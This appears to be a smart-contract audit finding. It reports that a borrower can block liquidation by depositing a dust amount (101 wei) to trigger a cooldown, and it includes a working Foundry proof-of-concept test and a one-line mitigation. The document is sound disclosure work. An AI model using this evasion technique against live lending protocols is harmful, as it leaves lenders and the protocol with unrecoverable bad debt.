Users can avoid liquidations by abusing the cooldown mechanism
c4-bot-3 opened this issue · 2 comments
c4-bot-3 commented
Lines of code
Vulnerability details
Impact
Users can avoid liquidations by abusing the cooldown mechanism
Vulnerability Details
The problem is that when a liquidation is attempted, it checks for the cooldown as seen here (last parameter true):
// Decrease the user's share of collateral as it has been liquidated and they no longer have it.
_decreaseUserShare(wallet, collateralPoolID, userCollateralAmount, true);CollateralAndLiquidity.sol#L153-L154
This means that if the user has an active cooldown, it will make the transaction revert:
if ( useCooldown ) {
require( block.timestamp >= user.cooldownExpiration, "Must wait for the cooldown to expire" );A cooldown can be easily triggered by a user, just by depositing some collateral. This is done via _increaseUserShare(), which sets the cooldown.
The minimum amount of collateral is determined while adding liquidity, which can be as low as the DUST amount, which is 100 wei of a token.
So, the user will avoid liquidation during the whole duration of the cooldown. This can be performed repeatedly by the user, after the cooldown expires, at a minimum cost of 100 wei of tokens each time.
A POC is provided to assess the validity of the claimings.
Proof of Concept
- Add this test to
src/stable/tests/CollateralAndLiquidity.t.sol - Run
COVERAGE="no" NETWORK="sep" forge test -vv --rpc-url https://sepolia.gateway.tenderly.co --mt "testAvoidLiquidation"
function testAvoidLiquidation() public {
// IMPORTANT NOTE
// This is an exact copy of the `testLiquidatePosition` test up to the attacked marked below as <<ATTACK>>
assertEq(collateralAndLiquidity.numberOfUsersWithBorrowedUSDS(), 0);
assertEq(wbtc.balanceOf(address(usds)), 0, "USDS contract should start with zero WBTC");
assertEq(weth.balanceOf(address(usds)), 0, "USDS contract should start with zero WETH");
assertEq(usds.balanceOf(alice), 0, "Alice should start with zero USDS");
// Total needs to be worth at least $2500
uint256 depositedWBTC = (1000 ether * 10 ** 8) / priceAggregator.getPriceBTC();
uint256 depositedWETH = (1000 ether * 10 ** 18) / priceAggregator.getPriceETH();
(uint256 reserveWBTC, uint256 reserveWETH) = pools.getPoolReserves(wbtc, weth);
assertEq(reserveWBTC, 0, "reserveWBTC doesn't start as zero");
assertEq(reserveWETH, 0, "reserveWETH doesn't start as zero");
// Alice will deposit collateral and borrow max USDS
vm.startPrank(alice);
collateralAndLiquidity.depositCollateralAndIncreaseShare(
depositedWBTC, depositedWETH, 0, block.timestamp, false
);
uint256 maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice);
assertEq(maxUSDS, 0, "Alice doesn't have enough collateral to borrow USDS");
// Deposit again
vm.warp(block.timestamp + 1 hours);
collateralAndLiquidity.depositCollateralAndIncreaseShare(
depositedWBTC, depositedWETH, 0, block.timestamp, false
);
// Account for both deposits
depositedWBTC = depositedWBTC * 2;
depositedWETH = depositedWETH * 2;
vm.stopPrank();
// Deposit extra so alice can withdraw all liquidity without having to worry about the DUST reserve limit
vm.prank(DEPLOYER);
collateralAndLiquidity.depositCollateralAndIncreaseShare(1 * 10 ** 8, 1 ether, 0, block.timestamp, false);
vm.warp(block.timestamp + 1 hours);
vm.startPrank(alice);
maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice);
vm.startPrank(alice);
vm.warp(block.timestamp + 1 hours);
maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice);
collateralAndLiquidity.borrowUSDS(maxUSDS);
vm.stopPrank();
assertEq(collateralAndLiquidity.numberOfUsersWithBorrowedUSDS(), 1);
uint256 maxWithdrawable = collateralAndLiquidity.maxWithdrawableCollateral(alice);
assertEq(maxWithdrawable, 0, "Alice shouldn't be able to withdraw any collateral");
{
uint256 aliceCollateralValue = collateralAndLiquidity.userCollateralValueInUSD(alice);
uint256 aliceBorrowedUSDS = usds.balanceOf(alice);
assertEq(
collateralAndLiquidity.usdsBorrowedByUsers(alice),
aliceBorrowedUSDS,
"Alice amount USDS borrowed not what she has"
);
// Borrowed USDS should be about 50% of the aliceCollateralValue
assertTrue(aliceBorrowedUSDS > (aliceCollateralValue * 499 / 1000), "Alice did not borrow sufficient USDS");
assertTrue(aliceBorrowedUSDS < (aliceCollateralValue * 501 / 1000), "Alice did not borrow sufficient USDS");
}
// Try and fail to liquidate alice
vm.expectRevert("User cannot be liquidated");
vm.prank(bob);
collateralAndLiquidity.liquidateUser(alice);
// Artificially crash the collateral price
_crashCollateralPrice();
// Delay before the liquidation
vm.warp(block.timestamp + 1 days);
// <<ATTACK>>
// Provide Alice with some tokens
uint256 dust = PoolUtils.DUST + 1;
assertEq(dust, 101);
deal(address(wbtc), alice, dust);
deal(address(weth), alice, dust);
// Alice knows her position can be liquidated
assertTrue(collateralAndLiquidity.canUserBeLiquidated(alice));
// Alice performs the attack. She deposits a minimum amount of tokens
// This way she prevents being liquidated for the whole duration of the cooldown
vm.prank(alice);
collateralAndLiquidity.depositCollateralAndIncreaseShare(
dust, dust, 0, block.timestamp, false
);
// Alice's position is still liquidatable
assertTrue(collateralAndLiquidity.canUserBeLiquidated(alice));
// Alice's position can't be liquidated due to the cooldown
vm.prank(bob);
vm.expectRevert("Must wait for the cooldown to expire");
collateralAndLiquidity.liquidateUser(alice);
}Recommended Mitigation Steps
Do not use cooldown when liquidating users:
// Decrease the user's share of collateral as it has been liquidated and they no longer have it.
- _decreaseUserShare(wallet, collateralPoolID, userCollateralAmount, true);
+ _decreaseUserShare(wallet, collateralPoolID, userCollateralAmount, false);Assessed type
Other
c4-judge commented
Picodes marked the issue as satisfactory